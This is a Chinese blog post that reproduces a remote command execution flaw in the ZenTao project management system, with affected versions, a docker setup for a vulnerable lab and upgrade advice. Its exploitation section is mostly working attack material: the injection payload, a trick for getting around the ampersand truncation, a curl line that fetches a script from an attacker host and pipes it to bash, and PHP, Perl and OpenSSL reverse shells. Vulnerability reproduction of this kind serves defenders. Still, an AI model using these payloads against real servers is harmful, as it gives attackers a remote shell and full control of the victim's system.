【漏洞复现】利用禅道系统RCE命令执行漏洞反弹shell

0x00

漏洞爆出来已经有些日子了,今天实测了一下,记录一下测试过程。

0x01 影响范围

开源版:17.4<= 禅道 <=18.0.beta1

旗舰版:v3.4 <= 禅道 <= v4.0.beta1

企业版:v7.4 <= 禅道 <= v8.0.beta1

0x02 环境搭建

可以通过docker快速搭建18.0.beta1版本有漏洞的环境。

1、拉取docker镜像

docker pull easysoft/zentao:18.0.beta1

2、创建docker网络驱动

docker network create --subnet=[ip范围] [网络驱动名]

#docker network create --subnet=172.172.172.0/24 zentaonet

3、启动容器

docker run --name [容器名] -p [主机端口]:80 --network=[网络驱动名] --ip [容器IP] --mac-address [mac地址] -v [主机禅道目录]:/www/zentaopms -v [主机mysql目录]:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=[数据库密码] -d easysoft/zentao:[镜像标签]

#docker run --name zentao -p 80:80 --network=zentaonet --ip 172.172.172.172 --mac-address 02:42:ac:11:00:00 -v /www/zentaopms:/www/zentaopms -v /www/mysqldata:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d easysoft/zentao:18.0.beta1

执行完上面3条命令后,浏览器直接访问 http://宿主机ip:宿主机映射端口,一直点下一步即可完成配置。

0x03 漏洞利用

payload:SCM=Subversion&client=`id`

在实战中,只是执行id命令还是不够的,下面尝试一下反弹shell,在实战过程中,发现常规的反弹shell命令执行不成功,经过测试后发现,在此处命令执行的时候,如果payload中带有&符号,则payload会被截断。

所以,当我们使用类似“bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1”的payload时,服务端只会执行“bash -i >”命令,无法完整执行反弹shell的命令。

想要成功反弹shell,payload中必须不能有&符号。这时候可以考虑用远端加载payload到本地的方式执行。

在真实的环境中,很多都是采用docker部署的,使用docker的环境使用的是精简版linux,很多命令不支持,像ifconfig、wget这类命令用不了,实测curl命令可以使用,将反弹shell的命令写在1.txt文件中,通过curl拉取后执行。

payload:curl http://10.19.71.100:8888/1.txt|bash

虽然服务端报错,但是命令成功执行。

禅道是php开发的,所以php脚本也可以:

payload:php -r '$sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3");'

测试发现docker里还有perl环境,所以perl脚本也可以:

payload:perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在docker中还支持openssl,所以还可以使用openssl反弹加密的shell。

首先配置攻击机,生成证书:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

再使用openssl开启监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 9999

目标机器上要执行的payload:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect xx.xx.xx.xx:9999 > /tmp/s; rm /tmp/s

Over~

0x04 修复建议

目前官方已经发布新版修复了该漏洞,升级到以下版本即可修复:

禅道 > v18.0.beta1(开源版)

禅道 > v4.0.beta1(旗舰版)

禅道 > v8.0.beta1(企业版)

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容